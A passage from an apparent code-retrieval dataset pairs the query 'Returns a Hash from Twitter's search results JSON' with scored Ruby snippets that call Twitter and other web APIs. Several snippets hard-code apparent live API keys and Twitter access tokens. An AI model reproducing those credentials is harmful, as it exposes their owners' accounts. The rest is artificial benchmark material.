ice_cream_shop(flavors[1..-1], favorite)\n return result\nend", "title": "" }, { "docid": "9e9832247801c5855977ef836dfec566", "score": "0.56017196", "text": "def ice_cream_shop(flavors, favorite)\n return false if flavors.empty?\n return true if flavors.pop == favorite\n\n ice_cream_shop(flavors, favorite)\nend", "title": "" }, { "docid": "9e9832247801c5855977ef836dfec566", "score": "0.56017196", "text": "def ice_cream_shop(flavors, favorite)\n return false if flavors.empty?\n return true if flavors.pop == favorite\n\n ice_cream_shop(flavors, favorite)\nend", "title": "" }, { "docid": "9e9832247801c5855977ef836dfec566", "score": "0.56017196", "text": "def ice_cream_shop(flavors, favorite)\n return false if flavors.empty?\n return true if flavors.pop == favorite\n\n ice_cream_shop(flavors, favorite)\nend", "title": "" } ]
7f97ad112cc0a8f899df4940ebfd8b62
Returns a Hash from Twitter's search results JSON.
[ { "docid": "12fcc06411511bbd1b2934ae57de297f", "score": "0.65054804", "text": "def search (search_term)\n params = {\n :q => search_term,\n :rpp => @results_per_page,\n }\n\n response = HTTParty.get(SEARCH_URL, :query => params)\n nasty_hash = JSON.parse(response.body)\n nasty_hash['results'].map{|r| Tweet.new(r)}\n end", "title": "" } ]
[ { "docid": "07540458a3f57e95585fd7d21fd881ba", "score": "0.6774473", "text": "def parse_searched_result(searched_results)\n parsed_search_results = []\n searched_results.map.each do |status|\n parsed_search_results << {:twitter_created_at => status.created_at.to_s,\n :from_user => status.from_user,\n :from_user_id => status.from_user_id,\n :profile_image_url => status.profile_image_url,\n :text => status.text}\n end\n parsed_search_results\n end", "title": "" }, { "docid": "b5d3f6b9852143e8354e006b1325fa85", "score": "0.6742725", "text": "def get_tweet_hash( search_term, max_results = 2000)\n\n results_per_page = 2000\n results_per_page = max_results if max_results < 100\n\n done = false\n page = 1\n num_results = 0\n\n output = []\n\n # Encode search term for URL\n search_term = URI.escape(search_term)\n\n while (not done)\n\n # Construct the search URL\n search_url = \"http://search.twitter.com/search.json?q=#{search_term}&rpp=#{results_per_page}&page=#{page}\"\n \n # prints out the url being used... useful for debugging.\n puts search_url\n \n # Request the tweets from twitter search. I got the url for this here: http://dev.twitter.com/pages/using_search\n resp = Net::HTTP.get_response(URI.parse(search_url))\n \n # Parse the data into from JSON into ruby hash.\n data = resp.body\n result = JSON.parse(data)\n \n # Raise exception if there is an error getting data from twitter\n if result.has_key? 'Error'\n raise \"Error assessing tweet data\"\n end\n\n if result['results']\n # trims off any amount over the max_results\n if max_results < (output.size + result['results'].size)\n cutpoint = max_results - output.size\n puts cutpoint\n puts result['results'][0,cutpoint]\n for tweet in result['results'][0,cutpoint]\n output.push(tweet)\n end\n else\n for tweet in result['results']\n output.push(tweet)\n end\n end\n end\n\n page += 1\n\n if output.size >= max_results or result['results'].size == 0\n done = true\n end \n end\n return output\nend", "title": "" }, { "docid": "ad00bef49060c9fa77b344686eafcc5a", "score": "0.6714959", "text": "def search(q)\r\n search_reponse = RestClient.get \"https://api.twitter.com/1.1/search/tweets.json?q=%23#{q}\", {\"Authorization\" => \"Bearer #{@@access_token}\"} \r\n search_reponse = JSON.parse(search_reponse)\r\n end", "title": "" }, { "docid": "94dfae0e78e3df6be12708a1cefef146", "score": "0.65928596", "text": "def twitter_search(data={})\n from = data[:from]\n hash_tag = data[:hash_tag]\n h = {}\n Twitter.search(\"from:#{from} #{hash_tag}\", count: 100).results.map do |status|\n h[status.id] = {\n msg: status.text,\n retweet_count: Twitter.status(status.id)['retweet_count']\n }\n end\n h\n end", "title": "" }, { "docid": "ab76bca1cee961a7716e5e02c69f1311", "score": "0.6336833", "text": "def search()\n client = Twitter::REST::Client.new do |config|\n config.consumer_key = ENV[\"TWITTER_API_KEY\"]\n config.consumer_secret = ENV[\"TWITTER_API_SECRET\"]\n config.access_token = ENV[\"TWITTER_TOKEN_KEY\"]\n config.access_token_secret = ENV[\"TWITTER_TOKEN_SECRET\"]\n end\n\n json = File.read('/Users/marie-charlotte/Documents/Code/The_Hacking_Project/Semaine_3/day4_Scrapping_email_sending/TeamRepo/db/emails.JSON')\n hash = JSON.parse(json)\n to_follow = []\n\n hash.each do |k, v|\n client.search(\"mairie #{k}\", result_type: \"recent\").take(1).each do |tweet|\n to_follow << \"#{tweet.user.screen_name}\"\n end\nend\nreturn to_follow\nend", "title": "" }, { "docid": "f7dc5b0936d47fc68d5996bdcc7d77c3", "score": "0.6332856", "text": "def search\n result = HTTParty.get(\"https://api.twitter.com/1.1/search/tweets.json\",\n :query => { 'q' => self.name },\n :headers => {\n 'Authorization' => \"Bearer #{ENV['TWIT']}\"\n })\n result_body = result.body\n json_result_body = JSON.parse(result_body)\n statuses = json_result_body[\"statuses\"]\n texts = statuses.map { |status| status[\"text\"]}\n end", "title": "" }, { "docid": "36da72b2b3ffe685f718a0f93601d946", "score": "0.63078165", "text": "def hash\n result['hash']\n end", "title": "" }, { "docid": "dad1b37db0c0bfc5e56085767cb7b3a0", "score": "0.6235498", "text": "def parse_results(result)\n parse_result = []\n\n JSON.parse(result)['results'].each do | node |\n parse_result << {\n id: node['trackId'],\n publisher_id: node['artistId'],\n publisher_name: node['artistName'],\n icon: node['artworkUrl60'],\n description: node['description'],\n app_name: node['trackCensoredName'],\n app_name: node['trackCensoredName'],\n price: node['price'],\n version: node['version'],\n avg_rating: node['averageUserRating']\n }\n end\n\n parse_result\n end", "title": "" }, { "docid": "a3477f8fe57fb8387c0fd7bbe90238a8", "score": "0.6205735", "text": "def getTweet searchterm\n response = nil\n while response == nil\n response = HTTParty.get(\"https://search.twitter.com/search.json\", \n :query => { :q => searchterm, :rpp => 1, :result_type => \"recent\"})\n end\n\n json = JSON.parse(response.body)\n if json[\"results\"].length > 0\n text = json[\"results\"][0][\"text\"]\n else\n\t text = \"No match for '#{hashtag}'\"\n end\n text = text.gsub(/\\n/,\" \") #remove newlines\n text.gsub(/ ( )+/,\" \") #remove multiple spaces\nend", "title": "" }, { "docid": "7a373816db3614d9bb1bc634219ce810", "score": "0.620211", "text": "def extract_results(data)\n output = {}\n data[\"Results\"].each do |result|\n output[result[\"Text\"]] = result[\"FirstURL\"]\n end\n return output\n end", "title": "" }, { "docid": "2faa9bce40a34ee2c3af2802e2a7478f", "score": "0.6199958", "text": "def search\n tweets = Wa2Bot::Bot.instance.search SEARCH_KEYWORDS.sample\n\n tweets.map {|tweet|\n {\n id: tweet.id,\n favorite_count: tweet.favorite_count,\n retweet_count: tweet.retweet_count,\n username: tweet.user[:name],\n text: tweet.text.gsub(/RT @\\w+:\\s*|#.+/, '').strip.chomp\n }\n }\n end", "title": "" }, { "docid": "ee1a76e90d42d3c6e6cd886f678e65db", "score": "0.61854583", "text": "def parse_results\n responses = JSON.parse(@raw.body)\n @results = {}\n responses.each do |item|\n # Remove the starting path from the key\n # So for example if we recursively searched everything under domains/example.com/\n # We will return just the things starting from domains/example.com/ but without the domains/example.com/ part\n item['Key'].slice!(@key)\n item['Key'].slice!('/')\n\n @value = item['Value']\n @value = Base64.decode64(@value) unless @value.nil?\n\n # Values can be json so try to parse that too\n begin\n @value = JSON.parse(@value) unless @value.nil?\n rescue JSON::ParserError => e\n #Not JSON string\n end\n\n # Split path/to/key into array and turn it into hash\n # Point that hash into value\n hash = item['Key'].split('/').to_deep_hash(@value)\n # Merge everything into big hash\n @results.deep_merge!(hash)\n end\n @results\n end", "title": "" }, { "docid": "b592f4020455487dde990faef340d802", "score": "0.61613643", "text": "def result\n to_hash['results']\n end", "title": "" }, { "docid": "96102187e6903024e13f5c6fdd188447", "score": "0.61411405", "text": "def fetch\n url = @base_url + normalize(@search_term)\n data = JSON.parse(open(url).read)\n data[\"results\"]\n end", "title": "" }, { "docid": "5c85088901d1378ef1ac68406563cf45", "score": "0.6137195", "text": "def find_tweets\n client.search(\"#{@search_term} -rt\", \n lang: \"en\", \n result_type: \"recent\",\n since_id: tweet_since_id)\n .take(100)\n .each do |tweet|\n h = tweet.to_hash\n mentions = Array.new\n t = Tweet.new(\n text: tweet.text,\n tweet_id: h[:id_str],\n user_id: h[:user][:id_str],\n user: h[:user][:name],\n screen_name: h[:user][:screen_name],\n mentioned_ids: h[:entities][:user_mentions].each {|u| mentions.push(u[:id_str])}\n )\n\n if tweet_valid?(t)\n @search_results.push(t) \n else\n t.destroy\n end\n end\n end", "title": "" }, { "docid": "3400f86dae814ac89e33a374ae64ecfa", "score": "0.6050087", "text": "def from_twitter(q, page=1)\n\turi, result = fetch(\"http://search.twitter.com/search.json?result_type=recent&rpp=10&page=#{page.to_i}&q=#{u(q)}\")\n\tJSON::parse(result.body)['results'].map do |item|\n\t\tto = []\n\t\tto << {:fn => item['to_user'], :url => 'http://twitter.com/' + item['to_user']} if item['to_user']\n\t\t{\n\t\t\t:content_full => item['text'],\n\t\t\t:category => (item['text'].scan(/#(\\w+)/)[0] || []),\n\t\t\t:in_reply_to => [], # This information is not in theAPI result\n\t\t\t:bookmark => 'http://twitter.com/' + item['from_user'] + '/statuses/' + item['id_str'],\n\t\t\t:id => 'tag:twitter.com,2007:http://twitter.com/' + item['from_user'] + '/statuses/' + item['id_str'],\n\t\t\t:author => {\n\t\t\t\t:fn => item['from_user'],\n\t\t\t\t:url => 'http://twitter.com/' + item['from_user']\n\t\t\t},\n\t\t\t:to => to,\n\t\t\t:published => (Time.parse(item['created_at']) rescue Time.now),\n\t\t\t:source => {\n\t\t\t\t:id => 'tag:twitter.com,2007:Status', # They all have the same id?\n\t\t\t\t:self => 'http://twitter.com/statuses/user_timeline/' + item['from_user'] + '.atom',\n\t\t\t\t:title => 'Twitter / ' + item['from_user']\n\t\t\t},\n\t\t}\n\tend\nend", "title": "" }, { "docid": "0f5c3435cc13b26e921eb451ef3d23d8", "score": "0.60188466", "text": "def results_as_hash; end", "title": "" }, { "docid": "25f8fe7dccd2c98c795453e29970d665", "score": "0.59707254", "text": "def search\n url = @@url\n url.query_values = url.query_values.merge(@args).merge(\n 'AppId' => @bing_api_key,\n 'Query' => @query\n )\n results = JSON.parse(open(url).read) rescue {}\n results['SearchResponse']['Web']['Results'] || {}\n end", "title": "" }, { "docid": "7fe2f8a6b72ad1caf0ff7f26bbe3bd4d", "score": "0.59407985", "text": "def get_search_tweets(query)\n tweets = client.search(query)\n\n since_id(0)\n\n tweets\n end", "title": "" }, { "docid": "cc1d96fcaca9ec090e7a597ab4e9353a", "score": "0.59307086", "text": "def results\n query = params[:q] #Query variable is the string a user enters in the search bar.\n url = Addressable::URI.parse('https://api.themoviedb.org/3/search/tv?api_key=fb6a1d3f38c3d97f67df6d141f936f29&language=en-US&')\n url.query_values = url.query_values.merge(query: query)\n response = HTTParty.get(url)\n\n @results = JSON.parse(response.body, symbolize_names: true) \n end", "title": "" }, { "docid": "c1499c83c44a006fcc880558c89e20b2", "score": "0.5930571", "text": "def format_search_result(result)\n if result.pagemap[\"breadcrumb\"] == nil\n return nil\n end\n artists = result.pagemap[\"breadcrumb\"][2][\"title\"]\n search_friendly_artists = format_artists_names(result.pagemap[\"breadcrumb\"][2][\"title\"])\n song = parse_song_name_for_GENIUS(result.pagemap[\"breadcrumb\"][3][\"title\"])\n spotify_result = SpotifyAPI.instance.search(search_friendly_artists, song)\n if spotify_result != nil\n {\n :track_id => spotify_result[:track_id],\n :song => spotify_result[:song],\n :artist => artists,\n :album => spotify_result[:album],\n :album_art => spotify_result[:album_art],\n :snippet => result.snippet,\n :lyrics_url => result.pagemap[\"metatags\"][0][\"og:url\"],\n :lyrics => LyricsParser.instance.get_lyrics(result.pagemap[\"metatags\"][0][\"og:url\"])\n }\n else\n nil\n end\n end", "title": "" }, { "docid": "8551b9b18a8cf697c06cf036bbbc1766", "score": "0.5864609", "text": "def hash_from_response(response)\n hash = JSON.parse(response)\n return hash\nend", "title": "" }, { "docid": "6a1bd6be64849c49d680d65a994b40d6", "score": "0.5821602", "text": "def search_api(query_string,results_per_page=100)\n searched_results = twitter_search(query_string.strip,results_per_page)\n parsed_search_results = parse_searched_result(searched_results)\n parsed_search_results\n end", "title": "" }, { "docid": "a7766781cd95e86bddd5a75a1d5dcea8", "score": "0.5821277", "text": "def extract_tweets\n begin\n client = TwitterSearch::Client.new\n client.query(:q => \"##{@hashtag}\", :rpp => '100')\n rescue\n @message = \"Somethig went wrong while extacting tweets from twitter\"\n []\n end\n end", "title": "" }, { "docid": "cd1cd51ef7aa886cb45e6e846b1fab39", "score": "0.5805529", "text": "def get_movie_hash\n all_movies = RestClient.get('http://www.swapi.co/api/films/')\n hash = JSON.parse(all_movies)\n result = {}\n hash[\"results\"].each do |movie|\n result[movie[\"title\"]] = movie\n end\n result\nend", "title": "" }, { "docid": "0a5138400fe20fa5a5c4b5ecf9e61db4", "score": "0.57945246", "text": "def search_query(query_parameters_string)\n url = \"#{HOST}/#{VERSION}/search/tweets.json#{query_parameters_string}\"\n\n response = connection(url).get do |req|\n req.headers[\"Authorization\"] = AUTHORIZATION_HEADER\n end\n\n raise RuntimeError, response.body unless response.status == 200\n\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "56ca5da6bde1395c34b3a2033c181cc4", "score": "0.57908493", "text": "def star_wars_hash\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n response_hash = JSON.parse(response_string)\nend", "title": "" }, { "docid": "f114c5687476cb6a08bcdce0c77e4e11", "score": "0.57516116", "text": "def search_tweets(hashtag, param_values=nil)\n\t\t\treturn []\n\t\t\tmax_count= 200\t\t\t\n\t\t\thashtag = fetch_hashtag(hashtag)\t\t\n\t\t\tbegin\t\n\t\t\t\tdata = client.search(hashtag,{exclude_replies: true,include_entities: false,result_type: 'recent', count: max_count})\n\t\t\t\tdata.collect{|x|x.as_json(:only=>[:created_at,:id,:text,:retweet_count,:favorite_count]).merge!({\"user\": x.user.as_json(:only=>[:id,:name,:screen_name,:location,:profile_image_url,:followers_count])})}.take(max_count)\n\t\t\trescue Twitter::Error => e\n\t\t\t\t[{error: e.as_json}]\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "43034763e619e9edfb78619d44429f01", "score": "0.5744388", "text": "def get_character_hash\n all_characters = RestClient.get('https://itunes.apple.com/search?term=podcast&media=podcast&limit=200')\n # hash = JSON.parse(all_characters)\n binding.pry\n result = {}\n hash[\"results\"].each do |character|\n result[character[\"name\"]] = character\n end\n result\nend", "title": "" }, { "docid": "ecc6bf2ddf17e5508be2c2fea321c55f", "score": "0.57434666", "text": "def search(query)\n source = \"#{BASE_URL}/search/#{URI.encode(query)}/seeds\"\n results = fetch_results(source) \n { :query => query, :results => results }\n end", "title": "" }, { "docid": "f125d6974a54cfdf43ff38618e28f023", "score": "0.57414246", "text": "def hash_results\n results\n @hash_results || @results\n end", "title": "" }, { "docid": "d8b78104ce7ad53d88c4b154a30298e0", "score": "0.573564", "text": "def results\n data = @parsed_data\n hash = {}\n content = {}\n content['beer_id'] = data['id']\n content['name'] = data['nameDisplay']\n content['abv'] = data['abv']\n content['ibu'] = data['ibu']\n content['isOrganic'] = data['isOrganic']\n content['description'] = data['style']['description']\n content['brewery_id'] = data['breweries'].first['id']\n content['brewery_name'] = data['breweries'].first['name']\n content['brewery_website'] = data['breweries'].first['website']\n content['state'] = data['breweries'].first['locations'].first['region']\n hash['beer_id'] = content\n return hash\n end", "title": "" }, { "docid": "f7518d3f13b6f833d561b0c87a1dab90", "score": "0.5730753", "text": "def hasher\n # capture hash parameter from form_tag\n @search_term = params[:search_term]\n # @search_term[0] = ''\n # Open stream with searchable term\n #todo: Reopen stream\n open_stream(@search_term)\n\n # todo: Implement Frequency Bubbles\n $frequencyHash = {}\n\n # twitter_config global helper establishes OAuth connection\n client = twitter_config(@current)\n hashtag = \"#\" + @search_term\n @tweets = client.search(hashtag).take(250)\n @tweets.each do |t|\n frequencyOfValVars(t.attrs[:text])\n end\n @cleanHash = $frequencyHash.sort_by {|k, v| v}.reverse\n\n # Get the top 50 tweets based on follower count\n topFollowedTweets = @tweets.sort_by {|t| t.attrs[:user][:followers_count]}.reverse[0..50]\n # Removes duplicates based on name and extract only 9\n @topFollowed = topFollowedTweets.uniq {|t| t.attrs[:user][:screen_name] }[0..8]\n #friends = my_friends #(@top9) eventually you'll pass in top9 to identify if following those users\n\n # topFavorited Tweets\n # topFavoritedTweets = @tweets.sort_by {|t| t.attrs[:favorite_count]}.reverse[0..50]\n # @topFavorited = topFavoritedTweets.uniq{|t| t.attrs[:user][:screen_name] }[0..8]\n\n end", "title": "" }, { "docid": "b48f832c948225f727412d2b3a5b6d19", "score": "0.5713925", "text": "def parse_tweets\n @response = JSON.parse(@response.body)\n @parsed_tweets = []\n @response[\"statuses\"].map do |tweet|\n @parsed_tweets << tweet[\"text\"]\n end\n end", "title": "" }, { "docid": "998826f569556535bd36a10a762bbd65", "score": "0.5713023", "text": "def search_results\n \tresults = Geocoder.search(\"Golden Gate Park, San Francisco, CA\")\n \tparse_results = JSON.parse(results)\n end", "title": "" }, { "docid": "30839f8deaf5a2ef0c59bdd1f1d4efe2", "score": "0.5703032", "text": "def to_h\n { :terms => terms,\n :fields => fields,\n :results => results,\n :max_results => max_results\n }\n end", "title": "" }, { "docid": "88f042313ff4aee2f002341d69959692", "score": "0.56998104", "text": "def hashify(response)\n JSON.parse(response)\n end", "title": "" }, { "docid": "0fd433f52c6c3c2b219902dfb9ef7c4d", "score": "0.56964487", "text": "def parse_json(result)\n @gsearch_result_class = result['GsearchResultClass']\n @unescaped_url = result['unescapedUrl']\n @url = result['url']\n @visible_url = result['visibleUrl']\n @cached_url = result['cacheUrl']\n @title = result['title']\n @title_no_formatting = result['titleNoFormatting']\n @content = result['content']\n end", "title": "" }, { "docid": "96e767bde649f35b0fe44eab40d3f3df", "score": "0.56896484", "text": "def results_to_hash(name)\n hash = Hash.new()\n arr = self.results.facets[name][\"terms\"]\n arr.each do\n |item|\n key = item[\"term\"]\n value = item[\"count\"]\n hash[key] = value\n end\n hash\n end", "title": "" }, { "docid": "6c3e326a96ff6eeb70f83591d09d96a8", "score": "0.56729376", "text": "def to_hash\n {\n text: text,\n source: source,\n url: view.user_tweet_path(user.id, id),\n created_at: {\n millis: (created_at.to_f * 1000).to_i,\n date: view.datef(created_at),\n full: view.full_date(created_at)\n },\n favorites: {\n any: (stars || 0) > 0,\n count: stars,\n text: view.pluralize(stars, 'person', 'people')\n },\n author: user.to_hash\n }\n end", "title": "" }, { "docid": "3679574e5073acd1b4bdc1364d6d6960", "score": "0.5652905", "text": "def tw_get_search(access_token,\n format, # json or xml\n query,\n rpp, # The number of tweets to return per page, up to a max of 100.\n result_type,\n count,\n show_user\n )\n uri = 'http://search.twitter.com/' +\n 'search' + \".\" +\n format + \"?\" +\n 'q' + \"=\" +\n CGI.escape(query) + \"&\" +\n 'rpp' + \"=\" +\n rpp + \"&\" +\n 'result_type' + \"=\" +\n result_type + \"&\" +\n 'count' + \"=\" +\n count + \"&\" +\n 'show_user' + \"=\" +\n show_user\n begin\n #$logger.info \"#{self.class.name}.#{__method__}(#{query}, ... )\"\n #$logger.info \"#{uri}\"\n puts(\"#{self.class.name}.#{__method__}(#{query}, ... )\")\n\n response = access_token.request(:get, uri)\n\n r = TwitterHttpResponseCode.get_code(response.code, response.body)\n\n if response.code == TwitterHttpResponseCode::OK_SUCCESS\n #$logger.info \"Returns the authenticated user's saved search queries => SUCCESSFULLY!\"\n puts(\"Returns the authenticated user's saved search queries => SUCCESSFULLY!\")\n\n parsed_json = ActiveSupport::JSON.decode(response.body)\n\n twitter_ids = Array.new\n parsed_json[\"results\"].each do |result|\n puts result[\"from_user\"] + \" \" + result[\"from_user_id_str\"].to_s #result[\"from_user_id_str\"]\n twitter_user = tw_get_users_show(@access_token, 'json', 'screen_name', result[\"from_user\"])\n puts twitter_user[\"id_str\"].to_s\n twitter_ids << twitter_user[\"id_str\"]\n end\n\n #$logger.info \"response.body =>#{response.body}\"\n end\n\n return twitter_ids\n\n rescue Exception\n #TwitterUtil.show_error(\"#{self.class.name}.#{__method__}()\",($!).class,($!))\n puts(\"#{self.class.name}.#{__method__}()\",($!).class,($!))\n return nil\n end\n end", "title": "" }, { "docid": "f6f8936c68bc0c36f727ac8dcf5a4f17", "score": "0.56439817", "text": "def yahoo_search(query, options = {})\n options = {:format => 'html'}.merge(options).collect{|key, val|\n \"#{key.to_s}=#{::CGI.escape(val.to_s)}\"}.join('&')\n\n request = \"#{API_URL}?appid=#{API_ID}&query=#{::CGI.escape(query)}&\" +\n options + '&output=json'\n\n r = JSON.parse(open(request).read)['ResultSet']\n\n # Parse the response into a more Rubyish format.\n data = {\n :available => r['totalResultsAvailable'],\n :end => r['totalResultsReturned'] + r['firstResultPosition'] - 1,\n :results => [],\n :start => r['firstResultPosition'],\n :returned => r['totalResultsReturned']\n }\n\n r['Result'].each do |result|\n data[:results] << {\n :cache_size => result['Cache'] ? result['Cache']['Size'].to_i : 0,\n :cache_url => result['Cache'] ? result['Cache']['Url'] : '',\n :click_url => result['ClickUrl'],\n :mime => result['MimeType'],\n :modified => Time.at(result['ModificationDate']),\n :summary => result['Summary'],\n :title => result['Title'],\n :url => result['Url']\n }\n end\n\n return data\n\n rescue => e\n raise SearchError, \"Unable to retrieve search results: #{e}\"\n end", "title": "" }, { "docid": "b24354d8f7cb5ac9acbd3d44a4342e39", "score": "0.56349355", "text": "def search\n\t\t@@client = Twitter::REST::Client.new do |config|\n \t\tconfig.consumer_key = \"LhUrEjR8XYmvjcw0dvN6gkJM8\"\n \t\tconfig.consumer_secret = \"5ShtHEptU4zDVkeArEUwfK7db4qvumWK2p8ePJbJOuInnyciNQ\"\n \t\tconfig.access_token = \"127236301-MlRZx2UqvyFPxcAsIxtusdSrphmtbLtrT8g02nvj\"\n \t\tconfig.access_token_secret = \"qjoon1iiJgZtDCRB1PTJLFY0Txw6R79ai4aXgG7pEB25C\"\n\t\tend\nend", "title": "" }, { "docid": "790209b0a71321d3722d00d8b04a7146", "score": "0.55995834", "text": "def get_json(search_item)\n response = conn.get(\"search?api_key=aGOBjd8mEiQXw1Z7WA1XsXUQFg0zn4Fn1U4kpuMG&generalSearchInput=#{search_item}\")\n JSON.parse(response.body, symboliuze_names: true)\n end", "title": "" }, { "docid": "293385e0744b1c8876d3310366eed50e", "score": "0.5588152", "text": "def render_search_results_as_json\n retval = {\n draw: params[:draw],\n }\n begin\n pinfo = pagination_info(@response)\n\n data = @document_list.map do |doc|\n entry = doc.model_object\n # have to add can_edit here, since this is where current_user is accessible\n !entry.nil? ? entry.as_flat_hash.merge({\n can_edit: can?(:edit, entry), \n bookmarkwatch: (render_to_string partial: \"nav/bookmark_watch_table\", locals: {model: entry }, layout: false, formats: [:html]),\n }) : {}\n end\n\n retval.merge!({\n recordsTotal: pinfo[:total_count],\n recordsFiltered: pinfo[:total_count],\n data: data,\n })\n rescue Exception => e\n puts e.backtrace\n retval.merge!({\n error: e.to_s\n })\n end\n retval\n end", "title": "" }, { "docid": "bc343ce1da49d86e9ebb2026a55f37e5", "score": "0.5581669", "text": "def tweets\n @data['tweet']\n end", "title": "" }, { "docid": "1992422caf6e40a68b3592eb553667af", "score": "0.55814284", "text": "def json2hash(json)\n JSON.parse(json)\n end", "title": "" }, { "docid": "d6a0bd1973ff32ffa7dd9a366d95a322", "score": "0.55774754", "text": "def parse_results(results)\n out = []\n results = [results] if results.is_a?(Hash) # no array if only one result\n results.each do |r|\n out << Result.new(\n r['U'], # url\n r['T'].try(:sub, / \\[[^\\]]*\\]$/, ''), # title\n r['S'].try(:gsub, '<br>', '') # desciption\n )\n end\n out\n end", "title": "" }, { "docid": "e7da0da675933c153ca37ffa09057496", "score": "0.5562974", "text": "def count(result)\n result['searchInformation']['totalResults']\nend", "title": "" }, { "docid": "b9a3efbe57fafc47e1a1bea164b301aa", "score": "0.55548954", "text": "def create_hash_from_response(response)\n hash = JSON.parse(response)\n return hash\nend", "title": "" }, { "docid": "944561aa3c80dfd1a9e61880b0bb0dbd", "score": "0.5551283", "text": "def get_tweets search_text\n begin\n # hit the API\n TWITTER_CLIENT.client.search(search_text, :count => 10, :result_type => \"recent\").collect do |tweet|\n @tweets << \"#{tweet.urls}\"\n end\n rescue\n @show_error_message = \"It seems that something has went wrong,Please try after some time\" if @tweets == nil\n end\n\n end", "title": "" }, { "docid": "1d5e361b01e7f0a909fe7fd45f7de197", "score": "0.55442554", "text": "def search(options={})\n results = self.class.get \"/search\", query: options\n JSON.parse(results.body)\n end", "title": "" }, { "docid": "92c7dea288efab5b817719f40f60e4d8", "score": "0.5541451", "text": "def return_search_results\n \n #ecode results\n result = ActiveSupport::JSON.decode(open(@url).read)[\"responseData\"][\"results\"]\n \n #for each result, add to an array to an array\n result.each do |page|\n @search_results << [ page['title'], page['url'], page['content'] ] \n end\n \n return @search_results\n \n end", "title": "" }, { "docid": "b23ae39210455df5c85b2aa1479d4bd3", "score": "0.5530445", "text": "def search_techcrunch\n response_string = RestClient.get\"https://newsapi.org/v2/top-headlines?sources=techcrunch&apiKey=45aee5b7c7584064ac1b1de6297f5137\"\n response_hash = JSON.parse(response_string.body)\n end", "title": "" }, { "docid": "3260241f72ed555e9fe73c8c50935caf", "score": "0.5507061", "text": "def search(term)\n base_uri = 'http://api.search.yahoo.com/NewsSearchService/V1/newsSearch'\n\n # Make the HTTP request and read the response entity-body as a JSON\n # document.\n json = open(base_uri + \"?appid=restbook&output=json&query=#{term}\").read\n\n # Parse the JSON document into a Ruby data structure.\n json = JSON.parse(json)\n\n # Iterate over the data structure...\n json['ResultSet']['Result'].each do\n # ...and print the title of each web page.\n |r| puts r['Title']\n end\nend", "title": "" }, { "docid": "9b30c14565778333e9444115ea8c811c", "score": "0.5505304", "text": "def to_hash\n hash = {}\n instance_variables.each {|var| hash[var.to_s.delete(\"@\")] = instance_variable_get(var) }\n hash[\"tweet\"]\n end", "title": "" }, { "docid": "c9cc7e1c78714d9dd3c1ec421ec14bb2", "score": "0.5504307", "text": "def full_results\n r = {}\n raw_results.first.keys.each do |key|\n r[key] = fetch(key)\n end\n return r\n end", "title": "" }, { "docid": "2c998cd1dbf21b527c824b0ad911d084", "score": "0.55036724", "text": "def get_tweet_data\n user = User.find_by(id: params[:id])\n tweet_data = user.tweet_hash\n\n render json: tweet_data\n end", "title": "" }, { "docid": "24cd4a73053edfdb8dfe407f29a6dd1d", "score": "0.5496837", "text": "def results\n self.response[1].to_json\n end", "title": "" }, { "docid": "420e431202be361e13eb61270c59ffd8", "score": "0.5490156", "text": "def parse_search_result(result)\n result = {\n acn: (result[:asic_number] rescue \"\"),\n abn: (result[:abn][:identifier_value] rescue \"\"),\n entity_type: result[:entity_type].blank? ? \"\" : (result[:entity_type][:entity_description] rescue \"\"),\n status: result[:entity_status].blank? ? \"\" : (result[:entity_status][:entity_status_code] rescue \"\"),\n main_name: result[:main_name].blank? ? \"\" : (result[:main_name][:organisation_name] rescue \"\"),\n trading_name: result[:main_trading_name].blank? ? \"\" : (result[:main_trading_name][:organisation_name] rescue \"\"),\n legal_name: result[:legal_name].blank? ? \"\" : (\"#{result[:legal_name][:given_name]} #{result[:legal_name][:family_name]}\" rescue \"\"),\n legal_name2: result[:legal_name].blank? ? \"\" : (result[:legal_name][:full_name] rescue \"\"),\n other_trading_name: result[:other_trading_name].blank? ? \"\" : Array.wrap(result[:other_trading_name]).map { |h| h[:organisation_name] }\n active_from_date: result[:entity_status].blank? ? \"\" : (result[:entity_status][:effective_from] rescue \"\"),\n address_state_code: result[:main_business_physical_address].blank? ? \"\" : (result[:main_business_physical_address][:state_code] rescue \"\"),\n address_post_code: result[:main_business_physical_address].blank? ? \"\" : (result[:main_business_physical_address][:postcode] rescue \"\"),\n address_from_date: result[:main_business_physical_address].blank? ? \"\" : (result[:main_business_physical_address][:effective_from] rescue \"\"),\n last_updated: (result[:record_last_updated_date] rescue \"\"),\n gst_from_date: result[:goods_and_services_tax].blank? ? \"\" : (result[:goods_and_services_tax][:effective_from] rescue \"\")\n }\n\n # Work out what we should return as a name\n if result[:trading_name].present?\n result[:name] = result[:trading_name]\n elsif result[:main_name].present?\n result[:name] = result[:main_name]\n elsif result[:other_trading_name].any? && result[:other_trading_name].first.present?\n result[:name] = result[:other_trading_name].first\n elsif result[:legal_name].present? && result[:legal_name].length > 2\n result[:name] = result[:legal_name]\n elsif result[:legal_name2].present?\n result[:name] = result[:legal_name2]\n end\n\n return result\n end", "title": "" }, { "docid": "6df0bf009f47f9b74d88ad1fc0efe751", "score": "0.5488918", "text": "def render_search_results_as_json\n {response: {docs: @document_list, facets: search_facets_as_json, pages: pagination_info(@response)}}\n end", "title": "" }, { "docid": "62a651150862e834ead5f5cab6a04d1a", "score": "0.54792213", "text": "def to_h\n JSON.parse(body)\n end", "title": "" }, { "docid": "535da54000bf67860f10edc3b72f8b8b", "score": "0.54704374", "text": "def search(query)\n response = @conn.get '/', { :q => query, :format => 'json' }\n if response.success?\n return JSON.parse(response.body)\n else\n raise \"Failed to fetch query '#{query}'. #{response.body}\"\n end\n end", "title": "" }, { "docid": "4618a06fc4921cdfe30b403dfe8079d1", "score": "0.5467962", "text": "def search(query, options = {})\n response = get('/api/v1/search.json', options.merge(:query => query))\n JSON.parse(response)\n end", "title": "" }, { "docid": "c91ea42b0fd7d5f5061f08e8d7af94e4", "score": "0.5451454", "text": "def refresh_results\n query_string = strip_first_character(@attrs[:search_metadata][:refresh_url])\n query_string_to_hash(query_string)\n end", "title": "" }, { "docid": "7585cade9b692497fc8610cbe21b7bf2", "score": "0.5450176", "text": "def search_itunes(term)\n url = \"https://itunes.apple.com/search?term=\" + term\n response = HTTParty.get(url)\n j = JSON.parse(response)\n return j\nend", "title": "" }, { "docid": "07ed1f0e5ad3de8316ffb24a3c482d5a", "score": "0.5450053", "text": "def take_from_web(url)\n all_string = RestClient.get(url)\n info_hash = 